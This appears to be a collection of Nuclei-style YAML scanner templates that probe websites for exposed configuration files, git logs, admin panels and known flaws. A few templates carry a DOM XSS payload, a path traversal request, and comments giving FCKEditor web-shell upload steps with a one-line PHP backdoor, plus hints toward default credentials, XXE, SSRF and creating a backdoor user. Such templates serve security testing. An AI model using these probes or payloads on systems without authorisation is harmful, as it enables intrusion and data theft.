├── Actuator.yaml
├── CellPower-Agent.yaml
├── Cloudify-login.yaml
├── DOM-XSS-SiteMinder.yaml
├── Dir-Contents-Disc-logs.yaml
├── FCKEditor-Exposed.yaml
├── File-manager-search.yaml
├── Find-wp-config-backup.yaml
├── Get-Env.yaml
├── Git-search-logs.yaml
├── IBM-Signup-Exposure.yaml
├── Kronos-wsld-exposure.yaml
├── Letter-Opener-Exposed.yaml
├── OpenText-LiveSite-TeamSite-Database-info-Exposure.yaml
├── ProfileService.yaml
├── RedCap-Install-Module.yaml
├── SAP-Path-Traversal.yaml
├── Web-xml-finder.yaml
├── WordPress-Fancy-Product-Designer-IOC.yaml
├── Workfront-dev-backend.yaml
├── adminer.php.yaml
├── dashboard-exposed.yaml
├── elmah-PartnerPortal.yaml
├── find-config.xml copy.yaml
├── find-config.xml.yaml
├── killswitch.yaml
├── phpmyadmin.yaml
├── sam-search.yaml
└── siteminderagent.yaml
/Actuator.yaml:
--------------------------------------------------------------------------------
1 | id: Finds actuator
2 | info:
3 | name: Actuator info leakage
4 | author: Clark
5 | severity: medium
6 | #Look in for exposed info.
7 | requests:
8 | - method: GET
9 | path:
10 | - "{{BaseURL}}/actuator"
11 | - "{{BaseURL}}/actuator/caches"
12 | - "{{BaseURL}}/actuator/configprops"
13 | - "{{BaseURL}}/actuator/conditions"
14 | - "{{BaseURL}}/actuator/env"
15 | - "{{BaseURL}}/actuator/beans"
16 | - "{{BaseURL}}/actuator/info"
17 | - "{{BaseURL}}/actuator/scheduledtasks"
18 | - "{{BaseURL}}/actuator/features"
19 | - "{{BaseURL}}/actuator/refresh"
20 | - "{{BaseURL}}/actuator/metrics"
21 | - "{{BaseURL}}/actuator/loggers"
22 | - "{{BaseURL}}/actuator/mappings"
23 | - "{{BaseURL}}/actuator/threaddump"
24 |
25 | matchers-condition: and
26 | matchers:
27 | - type: word
28 | words:
29 | - actuator
30 | condition: and
31 |
32 | - type: status
33 | status:
34 | - 200
35 |
--------------------------------------------------------------------------------
/CellPower-Agent.yaml:
--------------------------------------------------------------------------------
1 | id: CellPower Agent backend info exposure
2 | info:
3 | name: CellPower Agent sensitive info exposure
4 | author: Clark
5 | severity: high
6 | requests:
7 | - method: GET
8 | path:
9 | - "{{BaseURL}}/user/ajax"
10 | - "{{BaseURL}}/user/confirm-activation"
11 | - "{{BaseURL}}/user/settings"
12 | - "{{BaseURL}}/user/create-success"
13 |
14 | matchers-condition: and
15 | matchers:
16 | - type: word
17 | words:
18 | - array
19 | condition: and
20 |
21 | - type: status
22 | status:
23 | - 200
--------------------------------------------------------------------------------
/Cloudify-login.yaml:
--------------------------------------------------------------------------------
1 | id: Cloudify login Exposed (Try default creds)
2 | info:
3 | name: Cloudify login
4 | author: Clark
5 | severity: medium
6 |
7 | requests:
8 | - method: GET
9 | path:
10 | - "{{BaseURL}}/console/login"
11 |
12 | matchers-condition: and
13 | matchers:
14 |
15 | - type: word
16 | words:
17 | - "Cloudify Console"
18 |
19 | - type: status
20 | status:
21 | - 200
--------------------------------------------------------------------------------
/DOM-XSS-SiteMinder.yaml:
--------------------------------------------------------------------------------
1 | id: siteminder-dom-based-xss
2 |
3 | info:
4 | name: SiteMinder DOM BASED XSS
5 | author: Clark
6 | severity: medium
7 | description: SiteMinder DOM Based XSS.
8 | tags: dom,xss
9 | reference: https://blog.reigningshells.com/2019/12/reviving-old-cves-reflected-xss-in-ca.html
10 |
11 | requests:
12 | - method: GET
13 | path:
14 | - '{{BaseURL}}/siteminderagent/forms/smpwservices.fcc?USERNAME=\u003cimg\u0020src\u003dx\u0020onerror\u003d\u0022confirm(document.domain)\u0022\u003e&SMAUTHREASON=7'
15 | - '{{BaseURL}}/siteminderagent/forms/smaceauth.fcc?USERNAME=\u003cimg\u0020src\u003dx\u0020onerror\u003d\u0022confirm(document.domain)\u0022\u003e&SMAUTHREASON=7'
16 |
17 | matchers-condition: and
18 | matchers:
19 | - type: status
20 | status:
21 | - 200
22 |
23 | - type: word
24 | words:
25 | - 'confirm(document.domain)'
26 |
27 | - type: word
28 | words:
29 | - 'text/html'
30 | part: header
31 |
--------------------------------------------------------------------------------
/Dir-Contents-Disc-logs.yaml:
--------------------------------------------------------------------------------
1 | id: Directory Content logs
2 | info:
3 | name: Search for log.txt
4 | author: Clark
5 | severity: medium
6 |
7 | requests:
8 | - method: GET
9 | path:
10 | - "{{BaseURL}}/log/log.txt"
11 |
12 | matchers-condition: and
13 | matchers:
14 |
15 | - type: word
16 | words:
17 | - log
18 |
19 | - type: status
20 | status:
21 | - 200
22 |
23 | - type: word
24 | words:
25 | - 'text/plain'
26 | part: header
27 |
--------------------------------------------------------------------------------
/FCKEditor-Exposed.yaml:
--------------------------------------------------------------------------------
1 | id: FCKEditor Core Exposure
2 |
3 | info:
4 | name: FCKEditor Core
5 | author: Clark
6 | severity: info
7 | #create a htaccess file:code: SetHandler application/x-httpd-php
8 | #Now upload shell.php.gif with FCKeditor. After upload shell.php.gif, the name "shell.php.gif" change to "shell_php.gif" automatically, http://target.com/anything/shell_php.gif, Now shell is available from server.
9 | #https://www.exploit-db.com/exploits/17644
10 | #https://www.exploit-db.com/exploits/15484
11 | #https://github.com/BuddhaLabs/PacketStorm-Exploits/blob/master/1003-exploits/fckeditor-shell.txt,Sample Backdoor:(save as "any_name.php3") system($_GET["cmd"]); ?>
12 | requests:
13 | - method: GET
14 | path:
15 | - "{{BaseURL}}/fckeditor/editor/filemanager/upload/test.html"
16 | - "{{BaseURL}}/fckeditor/editor/filemanager/browser/default/connectors/test.html"
17 | - "{{BaseURL}}/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media"
18 | - "{{BaseURL}}/fckeditor/editor/filemanager/connectors/aspx/upload.aspx"
19 | - "{{BaseURL}}/fckeditor/editor/filemanager/connectors/aspx/connector.aspx"
20 | - "{{BaseURL}}/fckeditor/editor/filemanager/browser/default/js/fckxml.js"
21 | - "{{BaseURL}}/fckeditor/editor/filemanager/browser/default/browser.html?Connector=/editor/filemanager/browser/default/connectors/php/connector.php"
22 |
23 | matchers-condition: and
24 | matchers:
25 |
26 | - type: word
27 | words:
28 | - fckeditor
29 | condition: or
30 |
31 | - type: status
32 | status:
33 | - 200
34 | condition: or
--------------------------------------------------------------------------------
/File-manager-search.yaml:
--------------------------------------------------------------------------------
1 | id: FIle Manager exposed
2 | info:
3 | name: Search for FIle Manager
4 | author: Clark
5 | severity: medium
6 | requests:
7 | - method: GET
8 | path:
9 | - "{{BaseURL}}/editor/editor/filemanager/browser/default/js/fckxml.js"
10 | - "{{BaseURL}}/editor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php"
11 | - "{{BaseURL}}/editor/editor/filemanager/connectors/php/upload.php"
12 | - "{{BaseURL}}/editor/editor/filemanager/browser/default/browser.html"
13 |
14 | matchers-condition: and
15 | matchers:
16 | - type: word
17 | words:
18 | - "FCKeditor"
19 | - "executing"
20 | condition: and
21 |
22 | - type: status
23 | status:
24 | - 200
25 |
26 |
--------------------------------------------------------------------------------
/Find-wp-config-backup.yaml:
--------------------------------------------------------------------------------
1 | id: wp-config backup Exposed
2 | info:
3 | name: Find wp-config backup
4 | author: Clark
5 | severity: medium
6 | requests:
7 | - method: GET
8 | path:
9 | - "{{BaseURL}}/wp-config.php.bak"
10 |
11 | matchers-condition: and
12 | matchers:
13 | - type: word
14 | words:
15 | - dev
16 | condition: and
17 |
18 | - type: status
19 | status:
20 | - 200
21 |
--------------------------------------------------------------------------------
/Get-Env.yaml:
--------------------------------------------------------------------------------
1 | id: Env Exposed
2 | info:
3 | name: Find Exposed Env
4 | author: Clark
5 | severity: medium
6 | requests:
7 | - method: GET
8 | path:
9 | - "{{BaseURL}}/.env"
10 |
11 | matchers-condition: and
12 | matchers:
13 | - type: word
14 | words:
15 | - ADMIN_USER
16 | condition: and
17 |
18 | - type: status
19 | status:
20 | - 200
21 |
--------------------------------------------------------------------------------
/Git-search-logs.yaml:
--------------------------------------------------------------------------------
1 | id: Git logs found
2 | info:
3 | name: Find Git log exposure
4 | author: Clark
5 | severity: medium
6 |
7 | requests:
8 | - method: GET
9 | path:
10 | - "{{BaseURL}}/.git/logs/HEAD"
11 | - "{{BaseURL}}/.git/COMMIT_EDITMSG"
12 | - "{{BaseURL}}/.git/index"
13 | - "{{BaseURL}}/.git/logs/refs/heads/master"
14 | - "{{BaseURL}}/config.php~"
15 | - "{{BaseURL}}/.git/COMMIT_EDITMSG"
16 | - "{{BaseURL}}/.git/config"
17 | - "{{BaseURL}}/.git/FETCH_HEAD"
18 | - "{{BaseURL}}/.git/logs/refs/remotes/origin/master"
19 | - "{{BaseURL}}/.git/refs/heads/master"
20 | - "{{BaseURL}}/.git/refs/remotes/origin/master"
21 | - "{{BaseURL}}/log/access.log"
22 | - "{{BaseURL}}/.git/info/exclude"
23 | - "{{BaseURL}}/log/error.log"
24 | - "{{BaseURL}}/log/php_errorlog"
25 | - "{{BaseURL}}/readme.md"
26 | - "{{BaseURL}}/readme.txt"
27 | - "{{BaseURL}}/.git/description"
28 | - "{{BaseURL}}/.gitignore"
29 | - "{{BaseURL}}/.git/refs/tags"
30 | - "{{BaseURL}}/.git/packed-refs"
31 |
32 | matchers-condition: and
33 | matchers:
34 | - type: status
35 | status:
36 | - 200
37 |
38 | - type: word
39 | words:
40 | - 'root'
41 | - 'commint'
42 | - 'git'
43 | - 'COMMIT_EDITMSG'
44 | - 'pack-refs'
45 | - 'gitignore'
46 |
47 | part: body
48 |
--------------------------------------------------------------------------------
/IBM-Signup-Exposure.yaml:
--------------------------------------------------------------------------------
1 | id: IBM friendly path exposure
2 | info:
3 | name: Finds friendly path exposed, leads to user sign-up page to create backdoor user.
4 | author: Clark Voss
5 | severity: medium
6 | reference: https://clarkvoss.medium.com/how-to-harpon-big-blue-c163722638d8
7 | tags: panel
8 |
9 | requests:
10 | - method: GET
11 | path:
12 | - "{{BaseURL}}/wps/portal/client/welcome/!ut/p/z1/04_Sj9CPykssy0xPLMnMz0vMAfIjo8ziHd3DQgMNnM3N_M1DjA08PX0NgoNcnQwt3Ez1wwkpiAJKG-AAjgb6BbmhigBypoQ7/dz/d5/L2dBISEvZ0FBIS9nQSEh/?uri=nm:oid:Z6_00000000000000A0BR2B300GG2"
13 | - "{{BaseURL}}/wps/portal/!ut/p/z1/04_Sj9CPykssy0xPLMnMz0vMAfIjo8ziHd3DQgMNnM3N_M1DjA08PX0NgoNcnQwt3Ez1wwkpiAJKG-AAjgb6BbmhigBypoQ7/dz/d5/L2dBISEvZ0FBIS9nQSEh/?uri=nm:oid:Z6_00000000000000A0BR2B300GG2"
14 | - "{{BaseURL}}/wps/portal/!ut/p/z1/04_Sj9CPykssy0xPLMnMz0vMAfIjo8ziDVCAo4FTkJGTsYGBu7uRfjhYgaN7WGiggbO5mb95iLGBp6evQXCQq5OhhZupfhSGfmSToPrxWEBQfxRYSYCHh5mHoYWBj7-RL1DC1y3M2NXCx9jA3RiqAI8ZBbmhEQaZjooABQv7ag!!/dz/d5/L2dBISEvZ0FBIS9nQSEh/dz/d5/L0lJSkdKSUtVSklKQ2dwUkNncFJBL29Od3dBQUFZUUFBRUl3UWxDVTVBQUdNSUtTcEtGTFJ0R0ZvIS80TmxFTklVTVFuRmR1WXBNaFFUVWs1Q2ltcHBBL1o2XzAwMDAwMDAwMDAwMDAwQTBCUjJCMzAwR1YwL1o3XzAwMDAwMDAwMDAwMDAwQTBCUjJCMzAwSU8wL25vcm1hbC9PQ04vWjZfMDAwMDAwMDAwMDAwMDBBMEJSMkIzMDBHRzIvYW8vdGht/#Z7_00000000000000A0BR2B300IO0"
15 | - "{{BaseURL}}/wps/portal/!ut/p/z1/04_Sj9CPykssy0xPLMnMz0vMAfIjo8ziDVCAo4FTkJGTsYGBu7uRfjhYgaN7WGiggbO5mb95iLGBp6evQXCQq5OhhZupfhSGfmSToPrxWEBAf0FuaCgAb7VcBA!!/dz/d5/L2dBISEvZ0FBIS9nQSEh/dz/d5/L0lJSkdKSUtVSklKQ2dwUkNncFJBL29Od3dBQUFZUUFBRUl3UWxDVTVBQUdNSUtTcEtGTFJ0R0ZvIS80TmxFTklVTVFuRmR1WXBNaFFUVWs1Q2ltcHBBL1o2XzAwMDAwMDAwMDAwMDAwQTBCUjJCMzAwR1YwL1o3XzAwMDAwMDAwMDAwMDAwQTBCUjJCMzAwSU8wL25vcm1hbC9PQ04vWjZfMDAwMDAwMDAwMDAwMDBBMEJSMkIzMDBHRzIvYW8vdGht/#Z7_00000000000000A0BR2B300IO0"
16 | - "{{BaseURL}}/wps/portal/!ut/p/z1/pZHBDoIwDIYfqZVF4DoIEg5KBEHWi9mBIAnbjCEefHqH8SARJNGe2qRf_78tEFRAWt7aRvat0bKztSD3hKPgGGROwBDjEuH4bOBxWewx9NzUOzBMki3mWRSs_M0a6IN_n_Ti5wRiZ4Kf0J9r8PEXfmTwL_0Sl_YXlvfm-CRFKLS5KvuJHAgoDXeL9wKSBkR_VkPa6QZEra1N-rrJcKglqxdV2KjuEVM-czP-AKyJL-g!/dz/d5/L2dBISEvZ0FBIS9nQSEh/#Z7_00000000000000A0BR2B300IO0"
17 |
18 | matchers:
19 | - type: word
20 | words:
21 | - "
Edit My Profile"
22 | - "Friendly path"
23 | - "IBM WebSphere Portal"
24 | - "Sign Up"
25 | - "http://www.ibm.com/websphere/developer/zones/portal/"
26 | - "http://www.ibm.com/software/genservers/portal/support/"
27 |
28 | part: body
29 | - type: status
30 | status:
31 | - 200
32 |
--------------------------------------------------------------------------------
/Kronos-wsld-exposure.yaml:
--------------------------------------------------------------------------------
1 | id: Kronos wsdl found
2 | info:
3 | name: Find Kronos wsdl exposure (Try XXE)
4 | author: Clark
5 | severity: medium
6 | requests:
7 | - method: GET
8 | path:
9 | - "{{BaseURL}}/wfc/webservice/ReportConfigService?wsdl"
10 | - "{{BaseURL}}/wfc/XmlService"
11 | - "{{BaseURL}}/wfc/"
12 |
13 | matchers:
14 | - type: word
15 | words:
16 | - "xml-soap"
17 | - "application/xml"
18 | part: body
19 |
--------------------------------------------------------------------------------
/Letter-Opener-Exposed.yaml:
--------------------------------------------------------------------------------
1 | id: Letter Opener Web Exposed
2 | info:
3 | name: Finds Letter Opener Web Exposed
4 | author: Clark
5 | severity: medium
6 | requests:
7 | - method: GET
8 | path:
9 | - "{{BaseURL}}/letter_opener/"
10 |
11 | matchers-condition: and
12 | matchers:
13 | - type: word
14 | words:
15 | - letter opener
16 | condition: and
17 |
18 | - type: status
19 | status:
20 | - 200
21 |
--------------------------------------------------------------------------------
/OpenText-LiveSite-TeamSite-Database-info-Exposure.yaml:
--------------------------------------------------------------------------------
1 | id: OpenText LiveSites TeamSite database info exposed
2 |
3 | info:
4 | name: OpenText LiveSite TeamSite database info exposed.
5 | author: Clark
6 | severity: medium
7 | description: Can find database connection info.
8 |
9 | requests:
10 | - method: GET
11 | path:
12 | - '{{BaseURL}}//iw-cc//WEB-INF/conf/livesite/resources/resource-config.xml'
13 | - '{{BaseURL}}//iw-cc//WEB-INF/web.xml'
14 | - '{{BaseURL}}//iw-cc//WEB-INF/conf/livesite_customer/database.properties'
15 |
16 | matchers-condition: and
17 | matchers:
18 | - type: status
19 | status:
20 | - 200
21 |
22 | - type: word
23 | words:
24 | - 'Interwoven Process Model Web View'
25 | - 'database.properties.template'
26 | - 'resource-config.xml'
27 |
28 | - type: word
29 | words:
30 | - 'application/xml'
31 | - 'text/plain'
32 | part: header
33 |
--------------------------------------------------------------------------------
/ProfileService.yaml:
--------------------------------------------------------------------------------
1 | id: Find ProfileService
2 | info:
3 | name: Find WSLD Profile Service exposed
4 | author: Clark
5 | severity: medium
6 |
7 | requests:
8 | - method: GET
9 | path:
10 | - "{{BaseURL}}/services/profileService"
11 |
12 | matchers-condition: and
13 | matchers:
14 | - type: word
15 | words:
16 | - soapenv
17 | condition: and
18 |
19 | - type: status
20 | status:
21 | - 200
22 |
--------------------------------------------------------------------------------
/RedCap-Install-Module.yaml:
--------------------------------------------------------------------------------
1 | id: RedCap Install Mode
2 |
3 | info:
4 | name: RedCap Install Module Exposed Can redirect site
5 | author: Clark
6 | severity: medium
7 | description: Can redirect site using REDCap base URL.
8 |
9 | requests:
10 | - method: GET
11 | path:
12 | - '{{BaseURL}}/install.php'
13 | - '{{BaseURL}}/redcap/install.php'
14 |
15 | matchers-condition: and
16 | matchers:
17 | - type: status
18 | status:
19 | - 200
20 |
21 | - type: word
22 | words:
23 | - 'Installation Module'
24 |
25 | - type: word
26 | words:
27 | - 'text/html'
28 | part: header
--------------------------------------------------------------------------------
/SAP-Path-Traversal.yaml:
--------------------------------------------------------------------------------
1 | id: SAP Path Traversal
2 |
3 | info:
4 | name: SAP Path Traversal
5 | author: Clark
6 | severity: medium
7 |
8 | requests:
9 | - method: GET
10 | path:
11 | - '{{BaseURL}}/scheduler/ui/js/?\&..\\\&..\\\&..\\\version.txt'
12 | - '{{BaseURL}}/scheduler/ui/js/UIUtilJavaScriptJS?\&..\\\&..\\\&..\\\version.txt'
13 | - '{{BaseURL}}/scheduler/ui/js/4c540510/UIUtilJavaScriptJS?\&..\\\&..\\\&..\\\version.txt'
14 | - '{{BaseURL}}/scheduler/ui/js/ffffffffbac53543/UIUtilJavaScriptJS?\&..\\\&..\\\&..\\\version.txt'
15 |
16 | matchers:
17 | - type: word
18 | words:
19 | - "Build"
20 | part: body
21 |
22 | - type: word
23 | words:
24 | - 'text/plain'
25 | part: header
26 |
--------------------------------------------------------------------------------
/Web-xml-finder.yaml:
--------------------------------------------------------------------------------
1 | id: web.xml Exposed
2 | info:
3 | name: Find web.xml found
4 | author: Clark
5 | severity: medium
6 | requests:
7 | - method: GET
8 | path:
9 | - "{{BaseURL}}/iw-cc/WEB-INF/web.xml"
10 |
11 | matchers-condition: and
12 | matchers:
13 | - type: word
14 | words:
15 | - contextConfigLocation
16 | condition: and
17 |
18 | - type: status
19 | status:
20 | - 200
21 |
--------------------------------------------------------------------------------
/WordPress-Fancy-Product-Designer-IOC.yaml:
--------------------------------------------------------------------------------
1 | id: Search for IOC for Fancy Product Designer
2 | info:
3 | name: Find Indicators of Compromise for Fancy Product Designer
4 | author: Clark
5 | severity: High
6 |
7 | requests:
8 | - method: GET
9 | path:
10 | - "{{BaseURL}}/wp-content/plugins/fancy-product-designer/inc/2021/05/30/4fa00001c720b30102987d980e62d5e4.php"
11 | - "{{BaseURL}}/wp-content/plugins/fancy-product-designer/inc"
12 | - "{{BaseURL}}/wp-admin/2021/05/31/4fa00001c720b30102987d980e62d5e4.php"
13 | - "{{BaseURL}}/wp-admin/2021/05/31/3783701c82396cc96d842839a291e813.php"
14 | - "{{BaseURL}}/wp-admin/2021/05/31/29da9e97d5efe5c9a8680c7066bb2840.php"
15 |
16 | matchers-condition: and
17 | matchers:
18 |
19 | - type: word
20 | words:
21 | - 'php'
22 | - 'class-debug.php'
23 | - 'settings'
24 |
25 | - type: status
26 | status:
27 | - 200
28 |
--------------------------------------------------------------------------------
/Workfront-dev-backend.yaml:
--------------------------------------------------------------------------------
1 | id: Backend Dev WorkFront Exposed
2 | info:
3 | name: Find WorkFront Dev Backend and works for Symfony panel.
4 | author: Clark
5 | severity: medium
6 |
7 | requests:
8 | - method: GET
9 | path:
10 | - '{{BaseURL}}/backend_dev.php/'
11 | - '{{BaseURL}}/backend.php'
12 |
13 | matchers-condition: and
14 | matchers:
15 |
16 | - type: word
17 | words:
18 | - 'backend_dev.php'
19 |
20 | - type: status
21 | status:
22 | - 200
23 |
--------------------------------------------------------------------------------
/adminer.php.yaml:
--------------------------------------------------------------------------------
1 | id: Find adminer dashboard
2 | info:
3 | name: Find adminer dashboard exposed
4 | author: Clark
5 | severity: medium
6 | #Server-side Request Forgery (SSRF) Try adminer.php?server=[payload]&username=123&password=123&db=123
7 | requests:
8 | - method: GET
9 | path:
10 | - "{{BaseURL}}/adminer.php"
11 |
12 | matchers-condition: and
13 | matchers:
14 | - type: word
15 | words:
16 | - Adminer
17 | condition: and
18 |
19 | - type: status
20 | status:
21 | - 200
22 |
--------------------------------------------------------------------------------
/dashboard-exposed.yaml:
--------------------------------------------------------------------------------
1 | id: Dashboard Exposed bypassing authentication
2 | info:
3 | name: Find Exposed dashboard
4 | author: Clark
5 | severity: medium
6 | requests:
7 | - method: GET
8 | path:
9 | - "{{BaseURL}}/dashboard"
10 |
11 | matchers-condition: and
12 | matchers:
13 | - type: word
14 | words:
15 | - dashboard
16 | condition: and
17 |
18 | - type: status
19 | status:
20 | - 200
21 |
--------------------------------------------------------------------------------
/elmah-PartnerPortal.yaml:
--------------------------------------------------------------------------------
1 | id: elmah.axd found in partnerportal
2 | info:
3 | name: Find partnerportal elmah.axd
4 | author: Clark
5 | severity: medium
6 | requests:
7 | - method: GET
8 | path:
9 | - "{{BaseURL}}/MX/partnerportal/elmah.axd"
10 |
11 | matchers-condition: and
12 | matchers:
13 | - type: word
14 | words:
15 | - ELMAH
16 | condition: and
17 |
18 | - type: status
19 | status:
20 | - 200
21 |
--------------------------------------------------------------------------------
/find-config.xml copy.yaml:
--------------------------------------------------------------------------------
1 | id: Configuration displayed
2 | info:
3 | name: Finds config for
4 | author: Clark
5 | severity: medium
6 |
7 | requests:
8 | - method: GET
9 | path:
10 | - "{{BaseURL}}/CaseManager/welcome/displayCmisConfig.jsp"
11 |
12 | matchers-condition: and
13 | matchers:
14 |
15 | - type: word
16 | words:
17 | - appSettings
18 |
19 | - type: status
20 | status:
21 | - 200
--------------------------------------------------------------------------------
/find-config.xml.yaml:
--------------------------------------------------------------------------------
1 | id: config.xml database info
2 | info:
3 | name: Search for config.xml
4 | author: Clark
5 | severity: medium
6 |
7 | requests:
8 | - method: GET
9 | path:
10 | - "{{BaseURL}}/debug/config.xml"
11 |
12 | matchers-condition: and
13 | matchers:
14 |
15 | - type: word
16 | words:
17 | - appSettings
18 |
19 | - type: status
20 | status:
21 | - 200
--------------------------------------------------------------------------------
/killswitch.yaml:
--------------------------------------------------------------------------------
1 | id: Find killswitch dashboard
2 | info:
3 | name: Find killswitch dashboard exposed
4 | author: Clark
5 | severity: medium
6 | #Server-side Request Forgery (SSRF) Try adminer.php?server=[payload]&username=123&password=123&db=123
7 | requests:
8 | - method: GET
9 | path:
10 | - "{{BaseURL}}/killswitch.aspx"
11 |
12 | matchers-condition: and
13 | matchers:
14 | - type: word
15 | words:
16 | - killswitch
17 | condition: and
18 |
19 | - type: status
20 | status:
21 | - 200
22 |
--------------------------------------------------------------------------------
/phpmyadmin.yaml:
--------------------------------------------------------------------------------
1 | id: Search for phpmyadmin setup page
2 | info:
3 | name: Find exposed phpmyadmin setup page
4 | author: Clark
5 | severity: medium
6 |
7 | requests:
8 | - method: GET
9 | path:
10 | - "{{BaseURL}}/phpmyadmin/"
11 | - "{{BaseURL}}/phpmyadmin/index.php"
12 | - "{{BaseURL}}/phpmyadmin/setup"
13 |
14 | matchers-condition: and
15 | matchers:
16 |
17 | - type: word
18 | words:
19 | - sql
20 |
21 | - type: status
22 | status:
23 | - 200
--------------------------------------------------------------------------------
/sam-search.yaml:
--------------------------------------------------------------------------------
1 | id: saml Exposed
2 | info:
3 | name: Find saml
4 | author: Clark
5 | severity: medium
6 | requests:
7 | - method: GET
8 | path:
9 | - "{{BaseURL}}/saml/module.php/core/frontpage_welcome.php"
10 |
11 | matchers-condition: and
12 | matchers:
13 | - type: word
14 | words:
15 | - SimpleSAMLphp
16 | condition: and
17 |
18 | - type: status
19 | status:
20 | - 200
21 |
--------------------------------------------------------------------------------
/siteminderagent.yaml:
--------------------------------------------------------------------------------
1 | id: Siteminderagent exposed
2 | info:
3 | name: Find siteminderagent exposed
4 | author: Clark
5 | severity: medium
6 | #Look in for test keys, backup of the login.sfcc, and source code smformscgi.cpp
7 | requests:
8 | - method: GET
9 | path:
10 | - "{{BaseURL}}/siteminderagent/"
11 |
12 | matchers-condition: and
13 | matchers:
14 | - type: word
15 | words:
16 | - 'siteminder'
17 | - 'Server Error'
18 | condition: and
19 |
20 | - type: status
21 | status:
22 | - 200
23 | - 500
24 |
--------------------------------------------------------------------------------